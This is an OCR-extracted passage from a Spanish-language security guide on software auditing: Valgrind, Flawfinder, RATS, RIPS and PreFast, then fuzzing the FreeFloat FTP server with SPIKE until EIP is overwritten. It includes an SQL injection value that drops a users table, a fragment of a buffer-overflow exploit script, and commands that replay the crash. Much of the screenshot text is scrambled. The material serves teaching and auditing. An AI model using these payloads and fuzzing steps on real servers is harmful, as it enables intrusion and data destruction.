EAF desde Metasploit sin necesidad de modificar los payloads.

Como podemos ver, existen varias formas de evadir EAF por lo que esta contramedida debe
considerarse Unicamente como una barrera mas a la hora de utilizar EMET.

119

Bypassing Export address table Address Filter (EAF)
http://skypher.com/index.php/2010/11/17/bypassing-eaf/

Hardware Breakpoint vs Software Breakpoint
http://engineernabendu.blogspot.com.es/2009/11/hardware-breakpoint-vs-software.html
w32-msgbox-shellcode
https://code.google.com/p/w32-msgbox-shellcode/

Hardware Breakpoint vs Software Breakpoint
http://www.honeynet.org/node/571

123 BYPASSING EMET Export Address Table Access Filtering feature
http://piotrbania.com/all/articles/anti_emet_eaf.txt

Tweaking Metasploit Modules To Bypass EMET
http://badishi.com/tweaking-metasploit-modules-to-bypass-emet-part-2/

120
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8. AUDITORIA DE SOFTWARE

8.1. ENFOQUE WHITE-BOX (ANALISIS DE CODIGO)

8.1.1. Analisis Dinamico con Valgrind

Una de las herramientas mas destacadas para realizar analisis dinamico es la suite Valgrind
(GPL). Esta suite nos proporciona un conjunto de herramientas de debugging dirigidas a
detectar posibles errores de memoria en lenguajes como C y C++ y que pueden dar lugar a
serias vulnerabilidades como las vistas anteriormente. Actualmente esta disponible para la
mayoria de distribuciones linux y una de las ventajas principales de la herramienta es que
los ejecutables analizados no necesitan ser compilados de forma especial para poder ser
analizados en run-time. Para ello utiliza una maquina virtual (VEX) con la que podra
interceptar los accesos a memoria asi como ciertas syscall. Valgrind producira cierto delay
durante la depuracion de errores (20 o 30 veces mas despacio segun se
indica en la documentacion) siendo mas eficiente en arquitecturas de 64
bits. La funcionalidad mas interesante para nosotros ser& memcheck™®, K

gracias a la cual, podremos detectar errores relacionados con el stack y el [ L. (ptry)s
heap: uso de memoria no inicializada, liberaciones de memoria
ilegales, escritura y lectura en direcciones de memoria no vélidas,
memory leaks'?®, syscall con parametros ilegales, etc.

Minclude <stdlib.h>

main( argc, * argv[])

if (argc > 2)
free(ptr);
0;

. . , ) Figura 102. Ej. Analisis
Veamos como Valgrind nos informaria de un memory leak. Este tipo de dinémico de cédigo

problemas se presentan cuando se asigna memoria dinamicamente pero
que no es liberada correctamente.

En lenguajes como C o C++, que carecen de un
recolector de basura, pueden producirse
problemas serios si no se hace un uso eficiente de
la memoria. Esto es precisamente lo que
comprueba Valgrind, que exista una
correspondencia entre el nimero de mallocs y
frees. En el ejemplo adjunto se reservan 240 bytes
mediante un malloc pero Unicamente se liberaran
los mismos si el numero de argumentos
suministrados es superior a 2. Si ejecutamos
valgrind como se muestra a continuacion,
observamos que éste nos alerta de que existe un
Gnico alloc y cero frees.

Figura 103. Memory Leaks (Valgrind)

25 valgrind: memcheck (a memory error detector)
http://valgrind.org/docs/manual/mc-manual.html
Understanding Valgrind memory leak reports
http://es.gnu.org/~aleksander/valgrind/valgrind-memcheck.pdf
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Si compilamos el ejecutable con —g (gcc —g) para afadir simbolos de depuracion, valgrind
mostrard también la linea dentro de nuestro cddigo (memory_leaks.c) donde se reservo
dicha memoria mediante malloc

#%nclude <st(jllib.h>
Veamos otro ejemplo, en este caso el codigo presenta | Eg

mdltiples errores. Por un lado, si el nimero de [FEEECRIEEEERE
argumentos pasados al ejecutable es diferente a 1, se times;

imprimira el nimero de bytes que se escribiran en R

stdout desde el printf, sin embargo, la variable times no if (a "ésgedﬁque  eiro por T

ha sido inicializada. Memcheck permite detectar el uso

de variables no inicializadas siempre y cuando esto ) ”Eiggf%gg‘,’os%n Stdou%qf’%yﬁs"' s

pueda generar algun tipo de comportamiento que
afecte al programa. En este caso se muestra la traza
de la variable times, que pas6 del printf a vfprintf y
posteriormente a _itoa word donde memcheck se

quejé al comprobar que los datos presentes en el mismo contienenvalores no definidos.

Por7 otro lado, memcheck llevara a
cako algunas comprobaciones
siempre que se haga uso de ciertas
syscalls, como por ejemplo que todos
los parametros hayan sido
inicializados, o que los arrays desde
los que se va a leer o escribir se
encuentran en direcciones validas de
memoria y  contienen  valores
inicializados. ElI motivo por el que
memcheck se queja sobre la syscall
write es porque el puntero ‘a’ carece
de valores inicializados que pueden
generar problemas a la hora de la
escritura en stdout.

initialised value(s)

También informa la linea en la que se
produjo la reserva de memoria
dindmica de dicho array (linea 7). Por
tltimo memcheck avisa de un invalid
free en la linea 14 como consecuencia
de un double free del puntero a.
Cuando el numero de argumentos es
diferente a 0, se producira un free
dentro del else, sin embargo, antes
del return también se produce un free
el cual puede acarrear problemas de
seguridad graves.

Figura 104. Valgrind (memcheck)
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Memcheck lleva la cuenta del nimero de blogues asignados con funciones como malloc o
new por lo que permite detectar si el argumento pasado a free o delete es legitimo (es decir,
que apunta al comienzo de un bloque de memoria previamente reservado en el heap) o no.

NOTA: Las versiones actuales de glibc implementan determinados chequeos de forma
predeterminada para prevenir ciertos errores relacionados con la memoria dinamica. En el
caso de ejecutar el programa, el double free seria detectado también mostrando el siguiente
mensaje:

:/tmp# ./write BMF
* glibc detected *** ./write: double free or corruption (fasttop): ©x0958f008

xb7716591]
/1 z 7717de8]
/1lib/tls/1686/cmov/1libc.so.6(cfree+0x6d) [0xb771aecd]
.Jwrite[0x8048535]
/ libc start main+0xe6) [0xb76clbd6]

Para mas informacién consulte la variable de entorno MALLOC CHECK desde el man de
malloc.

Ademas de estas funcionalidades memcheck permite detectar si el uso de funciones de
liberacion de memoria dinamica (free, delete) es acorde a la funcién con la que se asigno
dicha memoria (malloc, calloc, realloc, valloc, etc.) o si existen ciertos problemas de
solapamiento de bloques de memoria a la hora de utilizar funciones como memcpy, strcpy,
strncpy, strcat, strncat. Memcheck también soporta mdltiples opciones que pueden
ayudarnos a localizar rapidamente la raiz de muchos problemas. Por ejemplo, si ejecutamos
el mismo programa afiadiendo la opciébn —track-origins=yes, memcheck mostraria la
direccién en la pila en donde se encuentra la variable que no fue inicializada asi como la
linea en nuestro fichero fuente.

--tool=memcheck --leak-check=yes --track-origins=yes ./write BMF
ian Seward et al.

un with -h for copyright info

initialised value of size 4
©77256: 1itoa word itoa.c:195)

by ©x408215F:
[ 484F

Figura 105. --track-origins

Se recomienda encarecidamente leer e informarse sobre el uso de esta herramienta para
testear aplicaciones contra multitud de problemas relacionados con memoria dinamica.
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8.1.2. Analisis Estatico con FlawFinder / Rats / RIPSS

De forma anéloga al andlisis dinamico, testear nuestro cédigo de forma estatica ayudara
enormemente a localizar funciones asi como declaraciones que pueden ser propensas a
vulnerabilidades. Bien por despiste o por desconocimiento del programador, las
herramientas que veremos a continuacion serviran de complemento a los warnings (avisos)
que puede ofrecernos un compilador para alertarnos sobre posibles usos indebidos del
lenguaje utilizado. No obstante, es importante utilizar un entorno de desarrollo que
proporcione algunas de estas funcionalidades. Ejemplo de ello es la extensién Banned API
para Visual Studio 2010 IDE, la cual nos sefiala a tiempo real aquellas funciones que
pueden tener consecuencias

graves de seguridad. Para | 73t main(int arge, char® argv(])
S o {

mas informacién consulte la char buf[20];

entrada “Banned APIs and steepy (buf, argv(e]);

. . . char *__cdecl strcpy(char *_Dest, const char *_Source)
EXtendlng the Visual Studio Warning: This f pci is b d by the Mi ft SDL. PI t StringCchCopyl[Ex] instead
. ” arning: This function is banned by the Microso . Please use strcpy_s or StringCchCopy[Ex] instead.
2010 Editor™¥.

Figura 106. Banned API

Lenguajes como C o C++ disponen de un gran niumero de herramientas de andlisis estatico.
Algunas de ellas se muestran en la siguiente tabla (extraida del paper Evaluating Static
Source Code Analysis Tools'®) asi como algunas de sus caracteristicas.

Tool Name | Installation Configuration Support  Reports  Emorsfound  Project support
Astree N/A N/A N/A N/A N/A N/A
BOON Eliminating N/A None N/A N/A N/A
CCA Eliminating N/A None N/A N/A N/A
HP Code A | Eliminating N/A N/A N/A N/A N/A
cppcheck Average Standard N/A Headable Common N/A
CGlual Average Not required N/A Parsable Common Single files
Csur N/A N/A N/A N/A N/A N/A
Flawfinder Easy Not required N/A Readable Uncommon Yes
I'Ts4 Easv valgrind N/A Readable Uncommon Single files
Smatch Average valgrind N/A Parsable Common Import
Splint Eazv Complex N/A N/A N/A Import
RATS Easy Not required N/A Readable Uncommon Yes

Figura 107. Herramientas de andlisis estatico

Veamos algunas de estas herramientas. Empezaremos por FlawFinder'®, que permite
examinar ficheros C/C++ en busca de vulnerabilidades potenciales (hits) catalogando las
mismas de 0 a 5 en funcién de su criticidad.

127

Banned APIs and Extending the Visual Studio 2010 Editor
http://blogs.msdn.com/b/sdl/archive/2010/06/15/banned-apis-and-extending-the-visual-studio-2010-editor.aspx
Evaluating Static Source Code Analysis Tools
http://infoscience.epfl.ch/record/153107/files/ESSCAT-report-for-printing.pdf

FlawFinder

http://www.dwheeler.com/flawfinder/flawfinder.pdf

128

129
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Un enfoque utilizado para analizar codigo con esta herramienta es buscar posibles bugs de
criticidad alta ademas de analizar los puntos del cédigo donde se manejen entradas para
examinar que existen los controles adecuados con los que controlar las mismas. Esto ultimo
puede hacerse con el parametro —inputs. Puesto que FlawFinder genera también warnings
que no estan relacionados con problemas de seguridad pueden omitirse con:

+ // Flawfinder: ignore
* /* Flawfinder: ignore */

Internamente Flawfinder utiliza una base de datos denominada Ruleset que incluye un
elevado numero de funciones de C/C++ que pueden desencadenar ciertas vulnerabilidades
asi como funciones especificas de Unix y Windows que pueden ser probleméticas. Para
utilizar esta herramienta Unicamente especificamos el directorio o el fichero fuente que
deseemos analizar. En nuestro caso utilizaremos el siguiente cédigo extraido de
http://stackoverflow.com/questions/8782852/c-buffer-overflow.

Ejecutaremos Flawfinder de la siguiente manera

Con el parametro —F (falsepositive) nos ahorraremos determinados hits que nos alertan,
entre otros, sobre el uso de arrays estaticos. El pardmetro context nos mostrara el cédigo
que dio lugar al hit en la salida de FlawFinder

include <string>
#include <iostream> FlaWﬂ-nder Resu'-ts
std; Here are the security scan results from Flawfinder version 1.27, (C)
", 2001-2004 David A. Wheeler. Number of dangerous functions in C/C++
Mainicy ruleset: 160

Examining examplel.cpp

CPasswo rd[10]; » examplel.cpp:19: [4] (buffer) strepy: Does not check for buffer
, CPass[10]; overflows when copying to destination. Consider using strncpy or

Usarnnme: = strlcpy (warning, strnepy is easily misused).

‘ strcpy (cUsername, clUser) ;|

« examplel.cpp:20: [4] (buffer) strepy: Does not check for buffer
overflows when copying to destination. Consider using strncpy or
strlepy (warning, strnepy is easily misused).

|strcpy (cPassword, cPass) :|

« examplel.cpp:36: [4] (shell) system: This causes a new program to
execute and is difficult to use safely. try using a library call that
implements the same functionality if available.

system("pause”):

El reporte de Flawfinder nos muestra tres

Access granted\n";

Yauthertication hits de valor 4 alertdndonos por un lado
del uso de funciones inseguras como
strcpy y por otro, del uso de la funcién
system, la cual puede dar lugar a ciertos
problemas de seguridad. Podemos
también forzar a que FlawFinder localice

Unicamente hits de determinada criticidad
mediante el parametro —minlevel=X o,
como veremos en el siguiente ejemplo (http://stackoverflow.com/questions/1549906), que

Figura 108. Analisis de cédigo con FlawFinder
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nos muestre Unicamente los inputs de nuestro codigo. De esta forma podremos revisar si
utilizamos los controles adecuados para evitar vulnerabilidades de tipo buffer overflow o
format string.

:~# flawfinder --inputs --context example2.c
Flawfinder version 1.27, (C) 2001-2004 David A. Wheeler
NL f ngerous funetions in C/C++ ruleset: 160
ple2.c
:8: [4] (buffer) ss
The scanf() family's %s operation, without a limit specification,

permits buffer o ows. Specify a limit to %s, or use a different input
function. If the scanf format is 1nfluenceamle by an attacker, it's
exploitable.

" 123 4567", (&strl, &str2) ); sscanf( str, fmt2, LIST args
woastrl, stEr2iipe
Hits

Figura 109. Analisis de cddigo con FlawFinder

De forma similar a FlawFinder,

. : C eval(token, {" builtins ": {} }' >> codeVul.py
RATS (Rough Auditing Tool for rats --resultsonly -w 1 --context codeVul.py
Security)*® es una herramienta 2t LI
open source mantenida

actualmente por Fortify Software,
gue analizara de forma estética
nuestro codigo para localizar :19:
\lel;llﬁresrgf)”ldades tlpeons |enguajcei§ ; ldt\O‘JTI;.lS]Sted source ult not It |1"I ve ying that it rothI NS IOt ning
como C, C++, Perl 6 PHP. Su
uso es muy similar a FlawFinder,
Unicamente especificamos como
parametro el fichero o directorio
que queremos analizar y RATS

mostrara una salida como la que
vemos en la imagen adjunta. En
el ejemplo hemos afadido la funcién eval (altamente peligrosa™") al script codeVul.py. En la
primera salida, RATS muestra una advertencia, alertandonos sobre el uso de esta funcion.
En la segunda salida, RATS nos indica también los inputs encontrados en nuestro codigo
(véase parametro —input)

Figura 110. Anélisis de cédigo con RATS

131

Veamos por ultimo otra herramienta realmente Util para analizar cédigo de forma estatica
desde un entorno web. En este caso, RIPS'* se centrara tnicamente en PHP para buscar
gran variedad de vulnerabilidades como: Code Execution, Cross-Site Scripting, File
Disclosure, LDAP Injection, SQL Injection, XPath Injection, etc.

1% FlawFinder

http://www.dwheeler.com/flawfinder/flawfinder.pdf

Eval really is dangerous
http://nedbatchelder.com/blog/201206/eval_really is_dangerous.html
RIPS - A static source code analyser for vulnerabilities in PHP scripts
http://rips-scanner.sourceforge.net/
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La instalaciéon de RIPS es realmente sencilla, Unicamente descargamos y extraemos los
ficheros en nuestro Document Root (directorio raiz desde el que se sirven las aplicaciones)
y estaria listo para empezar a analizar c6digo. Una gran ventaja de RIPS es su interfaz web

la cual permite generar graficas, mostrar relacione

s entre los diversos ficheros, detectar

backdoors, utilizar expresiones regulares para buscar determinados patrones, etc.

En el siguiente ejemplo parseamos el fichero sqli.php el cual es vulnerable a un sql injection

a través del pardmetro id. La interfaz de RIPS perm

ite filtrar por diversos niveles de alertas

(verbosity level) asi como el tipo de vulnerabilidad que deseamos buscar (all en el ejemplo).

Una excelente funcionalidad de RIP es Exploit

Creator mediante la cual podremos

facilmente aprovecharnos de las vulnerabilidades encontradas recreando el exploit
apropiado. En nuestro caso, ExploitCreator nos genera automaticamente la peticion GET
con la que podemos explotar el sqli, solicitandonos Unicamente el valor del parametro id con
el que realizar la inyeccién (100, DROP users—en el

— -
vel ' Y Aiserverside v

scan

search

ejemplo)

windows

files user input

RIPS..

stats functions

ExploitCreator - /tmp/sqli.php

$id =$_GET['id"); gene
15 URL
16 if (isset(Sid))
17 COOK
18 $query = mysql_query("SELECT * FROM "usuarios” WHERE “id" = $id");

if (Squery)
20 |
while($Sprofile = mysql_fetch_array($Squery))
22 |

ral settings:

IEJAR:

Max Exec Time: EJII (s)
SSL: @

BasicAuth: ®

$_GET parameter:

[\ 100: DROP users -|

create

Figura 111. Andlisis de cédigo con RIPS

El siguiente ejemplo, se corresponde con un RFI (Remote File Inclusion) en PHP WEBO

Site SpeedUp <= 1.6.1 (véase el exploit en exploit-db.com

133 el cual es vulnerable a varios

RFI debido al mal uso de la variable basepath. Como vemos, RIPS nos informa de la misma

y nos resalta las lineas propensas a dicho RFI.
entradas que recibe index.php (opcién user input) |
nuevas formas de explotacion.

path / file:

20 if (is_file(Sbasepath . "libs/php/lang/” . Slanguage . ".php”)) {

21 require{Sbasepath . “libs/php/lang/” . $language . ".php®);
22 jelse{
23 require(Sbasepath . "libs/php/lang/en.php”).
24 )
25
26
27 header("Content-Type: text/html;charset=\"", _WEBO_CHARSET . "\"");
28
29
30 Sinput = array_merge($_GET, $_POST);
A 31 _if (lempty(Sinputl'wss paael)) { z

»

RIPS ademas nos permite mostrar las

as cuales pueden ayudarnos a testear

RIPS..

taint

windows

subairs

files user input

stals functions

search

user input

type[parameter]

$_COOKIE[wss_lang] 171
$_GET 30 |
$_POST 30

$_SERVER[HTTP_ACCEPT_LANGUAGE] 14

Figura 112. Analisis de coédigo con RIPS
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Es realmente importante contar con este tipo de herramientas como complemento adicional
a nuestro entorno de desarrollo sobre todo cuando éste no cuente con funcionalidades de
seguridad que alerten al desarrollador sobre posibles vulnerabilidades en el codigo.

De este modo es importante documentarse del IDE empleado ya que muchas de las
funcionalidades, plugins, médulos soportados por el mismo pueden detectar problemas de
seguridad potenciales. Véase como ejemplo el switch /analyze para cl (conocida
cominmente como == = w=sal e f S i i L

135 x |2 | EE £ B Visual Studio Command Prompt (2010) i [=] 3
PreFaSt )1 que se c:sUserssIlluminatus™DocumentssUisual Studico 2818“Projects~BO0O:\BOXcl ~sanalyze ~U n
. . cpp* X 3 BO.cpp
(TaTelUL=Tal (e W o [T oTo] ]| o] [CRRAERAR—_li; ;. ;o5 t (R) 32-hit C/C++ Optimizing Compiler Uersion 16.88.38319.61 for 88x86
obal Scope opyright icrosoft Corporation. rights reserved.
) (Global Scope) | # ight (C> Mi ft C i All righ d
en Visual CH++ Yy T | N
c:“Program Files“\Microsoft Uisuwal Studio 18.8~UCANIWCLUDE-xlocale{323> : warning
puede ayUdamOS a IC4538: C++ exception handler used, but wunwind semantics are not enabled. Specify|
. B ~EHsc
encontrar errores #Jl.nclude BlEO _cpp(55> = warning C4996: ’strncpy’: This function or variable may bhe unsafe.
BRSO Consider using strncpy_s instead. To disable deprecation. use _CRT_SECURE_MO_WAR
i MIMGE. See online help for details
como nu” pOInter c:\Program Files“Microsoft Uisual Studio 18.8~UCSINCLUDEvstring.h{188> :
see declaration of ’strncpy’
dereference (0] buffel’ SRR ERGIC - userssilluminatussdocumentsiswisual Stud:i.o_ZBi@\ 0,
{ Buffer overrun
] ~ = length
OVerﬂOW char cz| e i s docum i rojectsshosbhoxbo

the writable =
char bt
size t
char *{
i @Rall ot BO.exe
RS0 o)

i [
Copyright

str
buf[1823] = @; else

Figura 113. PreFast

8.1.3. Analisis Estatico vs Analisis Dinamico

Aunque los ejemplos vistos anteriormente saltan a la vista rapidamente, incluso para
iniciados en el mundo de la programacion, cuando el desarrollo de un producto comprende
miles de lineas de codigo y cuando es desarrollado por multiples departamentos, los errores
de este tipo se vuelven mas complejos de detectar.

Es por este motivo por el que estas herramientas pueden ser un buen apoyo para detectar
algunas vulnerabilidades de caracter grave. Es importante recordar sin embargo que dichas
herramientas pueden generar una falsa sensacion de seguridad al no reportar cierto tipo de
vulnerabilidades, las cuales sin embargo pueden producirse bajo ciertas condiciones, o que
simplemente, no son capaces de detectar debido a la naturaleza de las mismas. El uso por
tanto de estas herramientas debe considerarse Unicamente como un paso mas durante el
proceso de auditoria de software.

% Exploit-db: RFI en WEBO Site SpeedUP
http://www.exploit-db.com/exploits/19178/
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% de ambos tipos de anélisis (estatico/dinamico) los siguientes

puntos describiran algunas de las ventajas e inconvenientes de los métodos descritos
anteriormente:

Analisis Dinamico- Ventajas

Deteccion de vulnerabilidades en runtime.

Es capaz de detectar dependencias, las cuales serian imposibles durante un analisis
estético (Ej: polimorfismo).

Permite llevar a cabo andlisis de aplicaciones de las cuales no disponemos de su
cadigo fuente (enfoque blackbox).

Permite identificar vulnerabilidades que pueden haber sido reportadas como falsos
negativos durante el analisis estatico.

Andlisis Dinamico- Desventajas

No existen herramientas automatizadas para todos los lenguajes.
Generacion de falsos negativos y falsos positivos.

Dificultad de localizar cierto tipo de vulnerabilidades (localizacion en el cédigo
fuente).

Dificultad de reproducir todas las posibles vias de ejecucion.

Analisis Estatico- Ventajas

Permite detectar vulnerabilidades de forma temprana durante el ciclo de desarrollo
de software.

Permite identificar la situacién exacta de la vulnerabilidad.
Acceso a todo el codigo.

El andlisis no requiere inputs por lo que se elimina la necesidad de crear gran
variedad de tests.

Analisis Estéatico- Desventajas

Incapaz de detectar vulnerabilidades en tiempo de ejecucion.
Pueden generar una falsa sensacién de seguridad si no se reportan vulnerabilidades.
No existen herramientas automatizadas para todos los lenguajes.

Si se carece de herramientas automatizadas puede ser un proceso lento.

136

Static vs. dynamic code analysis: advantages and disadvantages

http://gcn.com/articles/2009/02/09/static-vs-dynamic-code-analysis.aspx
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8.2. ENFOQUE BLACK-BOX

En los puntos anteriores, se ha hecho hincapié en el andlisis tanto estatico como dinamico
con el objetivo de localizar posibles bugs para prevenir asi ataques posteriores. Otro
enfoque de gran importancia que debe considerarse durante el proceso de auditoria de
software, es el uso de herramientas de fuzzing™ con las que intentar también localizar
puntos de inestabilidad en nuestro software que puedan ser aprovechados para ejecutar
codigo™®. A este proceso se le debe prestar alin mas atencion cuando se trate de analizar
servicios que utilizan sockets y que pueden por tanto ser explotados de forma remota.
Segun se describe en el libro “Fuzzing: Brute Force Vulnerability Discovery”**®

“...we define fuzzing as a method for discovering faults in software by providing unexpected input and
monitoring for exceptions. It is typically an automated or semiautomated process that involves
repeatedly manipulating and supplying data to target software for processing.”

Para este fin, se utilizardn herramientas cuyo propésito es generar multitud de cadenas
irregulares y de diversa longitud para enviarselas a nuestro software y analizar su
comportamiento. Desde este enfoque (black-box) podremos analizar software del que no
disponemos de su cédigo fuente ya que, en funcion del comportamiento del mismo, podra
deducirse el uso de controles adecuados para manejar todo tipo de inputs. Generalmente
las cadenas generadas por los fuzzers servirdn de entrada bien de forma local, por medio
por ejemplo de ficheros (como se vio con FOE) o bien por medio de sockets; a través por
ejemplo de peticiones GET a servidores web, parametros a un servidor SMTP, etc.
Cualquier tipo de entrada aceptada por el software podria ser susceptible de ser
explotada, por tanto, la destreza del auditor para utilizar herramientas/scripts de
fuzzing serd fundamental para detectar vulnerabilidades en el mismo. En los siguientes
puntos se mostrardn algunos ejemplos de herramientas que pueden servirnos de ayuda
para realizar fuzzing sobre aplicaciones susceptibles de ser explotadas remotamente.

8.2.1. Fuzzing con Spike (FreeFloat) / Peach (vulnserver.exe)

SPIKE es un framework de fuzzing desarrollado por Dave Aitel bajo licencia GNU. Esta
herramienta, desarrollada en C, es extensamente utilizada gracias a la flexibilidad de su API
y a la rapidez con la que es posible crear fuzzers a medida para protocolos de red. Spike
utiliza bloques de datos denominados SPIKES que se utilizan para representar las capas de
datos de los protocolos que se desean fuzzear. Estos bloques de datos se definiran en
ficheros .spk que posteriormente seran enviados por medio de intérpretes. Estos
intérpretes se encuentran en /pentest/fuzzer/spike/src (Bactrack 5) y se encargaran de
transportar los bloques de datos que deseamos fuzzear a la aplicacibn deseada sin
preocuparnos de implementar la l6gica del protocolo subyacente.

137 Fuzzing for software vulnerability discovery

http://www.ma.rhul.ac.uk/static/techrep/2009/RHUL-MA-2009-04.pdf
Winamp 5.58: From Denial of Service to Code Execution
http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/
Fuzzing for Brute Force Vulnerability Discovery
http://www.fuzzing.org/

138
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Asi por ejemplo, el intérprete generic_send_tcp se encargara de implementar la conexion
TCP (capa 4) con la maquina destino, y de entregar los datos definidos en el fichero .spk
pertinente. De esta forma solo necesitaremos preocuparnos en definir la capa de aplicacion
del servicio que deseamos fuzzear. Dentro del directorio ./src/audits podemos encontrar
plantillas de protocolos comunes en las que ya se encuentran definidas las estructuras de
datos correspondientes a dichos protocolos.

Spike utiliza diversas APIs para formar los bloques de datos que se enviaran a la aplicacion.
Las funciones que mas nos interesan en este caso son:

s_string("test")

S_string_variable("batman")

La primera funcién simplemente imprimir4 la cadena literal dentro de los SPIKES enviados.
La segunda funcién, sin embargo, indica que dicha cadena debe ser fuzzeada, utilizando
"batman" en la primera iteracién (o como literal durante el fuzzing del resto de variables).

Supongamos por ejemplo que deseamos testear un nuevo servidor ftp y queremos fuzzear
algunos de sus pardmetros por medio de Spike. Para ello utilizaremos el servidor
FreeFloat, del cual sabemos de
antemano que es susceptible a un print("[-] Connecting to ™ + ip + " on port " + port + "\n")
K , s.connect((ip,int(port)))
buffer overflow si se envia el |data = s.recv(1024)
; print("[-] Sending exploit...")
comando USER_ segwdo de u?g s.send("USER * + buff + "“rin’)
cadena  excesivamente larga s.close()

(véase imagen adjunta del exploit
creado por Ov3r) Figura 114. Fragmento de cddigo para FreeFloat

Intentaremos forzar dicho crash con Spike, para ello utilizaremos como plantilla el fichero
Jsrc/audits/ftpd1l.spk y la modificaremos para fuzzear tanto la cadena USER como el
propio usuario. Fijese por tanto que ambas variables deben de enviarse por medio de

s_string_variable. ]
- - GNU nano 2.2.2 File: ftpdl bm.spk

Una vez guardado el fichero (ftpdl bm.spk) lo
lanzaremos contra el servidor ftp que deseamos fuzzear.

Puesto que FTP emplea como capa de transporte TCP,
lanzaremos los SPIKES por medio del intérprete
generic_send_tcp. Para utilizar este intérprete es
necesario especificar los siguientes parametros.

File Name to Write: ftpdl bm.spk

Figura 115. ftpdi_bd.skp (Fuzzing FreeFloat)

149 Exploit-db: Freefloat FTP Server Buffer Overflow Vulnerability Oday
http://www.exploit-db.com/exploits/15689/
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:/pentest/fuzzers/spike/src# ./generic send tcp Como se ve en la imagen, requiere por un

EUsage: ./generic send tcp host port spike script SKIPVAR SKIPSTR lado de I_a IP y puerto del servidor.(datos para

l./generic send tcp 192.168.1.100 701 something.spk © © la conexion TCP) asi como del fichero _spk,

Figura 116. Generic_send._tcp Ademas necesita dos variables: SKIPVAR y
SKIPSTR.

Jargc=1

La primera de ellas especifica a partir de qué variable se desea empezar a fuzzear
(contando desde 0). Es decir, si pretendemos fuzzear 20 variables del protocolo FTP,
podemos forzar que Spike empiece por el nimero 10, ignorando asi las 10 primeras.

X| cuando comienza a fuzzear cada una de las variables, Spike generara
FreeFloat FTP Server valores aleatorios que enviara al servidor. La variable SKIPSTR permite
Start | Port No saltarnos los primeros X valores aleatorios que tomara cada una de las

I:;_'1 MI Variables- GraCiaS a :/pentest/fuzzers/spike/src# ./generic send tcp 192.168.1.34 21
SKIPVAR y SKIPSTR SEEieARE <0 @
podremos ahorrarnos multitud de tiempo iy
ariable 0:
para recrear un crash que hayamos C t connect to target

producido anteriormente sin necesidad de o
esperar todo el proceso de fuzzing. ; -
Conocidos estos valores ya podemos ' connect to target
ejecutar FreeFloat vy lanzar Spike tal y ble 0:

como se muestra en la imagen adjunta. T : tpges

Tras fuzzear con diversos valores a
FreeFloat observamos que la aplicacion
muere a los pocos segundos. Ademas, fijAndonos en el paquete que produjo el DoS
observamos que fue la primera variable (USER) la que produjo el crash en FreeFloat.

Figura 117. Generic_send_tcp ftpd1l_bm.spk

7l Coptiiring frarm A ===l Es decir que

File Edit ¥ew Go Capture Analyze Statistics Telephony Tools [nternals  Help diChO Server eS
BN EEXEE| A+ T L [(BE QAQAaD|#EME B :
susceptible de ser

Filer: IFtp j Expression... Clear  Apply
Mo, [Time |source |estination |Protocel_|length linfo explotado
4 0.022586 192.1658.1.34 192.1658.1. 386 FTFP 108 Response: 220 FreeFloat FIp Server (version 1.000. .
6 0.032868 192.168.1.36 192.168.1.34 FTP 887 Reguest: env|ando como
8 0.040664 192.168.1.34 192.168.1.36 FTF 617 Response: 500 ' ) d
17 0.103114  192.168.1.36 192.168.1.34 FTP 7595 Reguest:
23 0.151238 192.168.1.36 192.168.1.34 FTF 632 Reguest: prlmer comando
i
" Follow T _mixl unstring lo
Firma del emror .
St Content
AppHame: fipserver.exe Appier 0.0.00  ModName: unknown eam omen SUflClentemente
W odv'er: 0.0.0.0 220 FreeFloat Ftp Server (Version 1.00). =
largo. Podemos
Detalles de oz informes de enores

Este infaime de errores inclue: informacidn sobre el estada de FTPS erver.exe cuando se produjo el emar; la CO n Ocer
wversion del sistema operativa el hardware del equipo en uso; el 1d. de producta digital, que puede usarse para
identificar la licencia y la direccidn del Protacolo Intermet (IP] del equipo.

Mo e recopilan intencionadamente los archivos, el nombre, la direccidn, la direccidn de correa electrdnico ni p
ningtin otro tipo de informacion identificable individual. Sin embargo, el informe de ermores puede contener CU an d 0 Se rod u 1 0
infarmacidn especifica del cliente como datos de los archivos abiertos. Aungue existe la posibilidad de que esta p J
informacion se use para determinar su identidad, i la hay, no se utiizara AAAARARARALA batman LI d . h D S
Los datos que se recopilan slo se utiizarén para resolver el problema. Si hay mas informacion disponible, se lo IEntII’B canversation (1414 bytes) ﬂ IC 0 O
comunicaremas cuanda informe del problema. Los informes de enares se enviardn utiizanda una conexidn .
seguIa 3 una base de datos de acceso restringide que no se usara con fines comerciales. Eind | Save As | Brint [ ASCII  EBCDIC © HexDump O CArrays (8 Raw an al 1zan d (0] Ia
Para ver |a informacidn técnica sobre los informes de enores,  haga clic agui. Sal I d a en erad a
‘ Para ver nuestra directiva de recopilacidn de datos en el 'web, haga clic aqui Help Filter Out This Stream | Clase | g
[0030 07 71 62 ed G0 00 0T 0T 08 Ga G0 10 T2 07 00 44 Tho o e = por
e‘ Atheros ARSO07EG Wireless Metwark Adapter | |Packets: 434 Displayed: 5 Marked: 0 Profile: Default 2

generic_send_tcp

. (véase imagen).
Figura 118. FreeFloat crash
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En este caso parece que la variable 1 (SKIPVAR=0) a partir de la cadena
256 de fuzzing 73 (SKIPSTR=72) provocé la caida de FreeFloat. Si

d to a closed socket!

e 0:74 necesitamos recrear este DoS bastaria con lanzar:

Jgeneric_send_tcp 192.168.1.34 21 ./audits/FTPD/ftpd1l_bm.spk 0 72
Fii 119. closed socket! . . :
gura closed socrke ahorrdndonos asi la espera de los primeros 72 strings para la variable 0.
Si adjuntamos esta vez el servidor FTP a Immunity podemos ver que lo que se consigue es
un direct overwrite de IP.

Don't know how ko continue because memary at address|41414141|is not readable. Try to change EIP or pass
exception ko prograrn,

Figura 120. Immunity Debbuger. FreeFloat 0x41414141

Spike también dispone de una API, s_binary(), para afadir datos binarios a los SPIKES.
Ademas permite definir estructuras de cdodigo gracias a s_block_start() y s_block_end()
donde podremos especificar el tamafio de las mismas. Gracias a estas APIs, fuzzear
aplicaciones de las que desconozcamos su protocolo no sera una tarea compleja.
Unicamente capturando trafico, copiando el contenido dentro de s_binary() y utilizando
bloques de cddigo podremos ir segmentando el protocolo y fuzzeando cada uno de los
campos. La siguiente imagen muestra un ejemplo del uso de bloques para segmentar y
establecer el tamafio de cada una de las secciones de un paquete de conexion SSL.

SLELERSLSRIICE S Se Para mas informacion
sobre Spike puede
consultar la entrada de
Grey Corner “Using Spike
to find vulnerabilities in
VulnServer” *** o el propio
paper'** de presentacion
de su autor Dave Aitel.

Stream Content

00000000 80 00 01 03 01 00 63 60 00 00 20 00 00 62 63 68 ........ .. ... ch
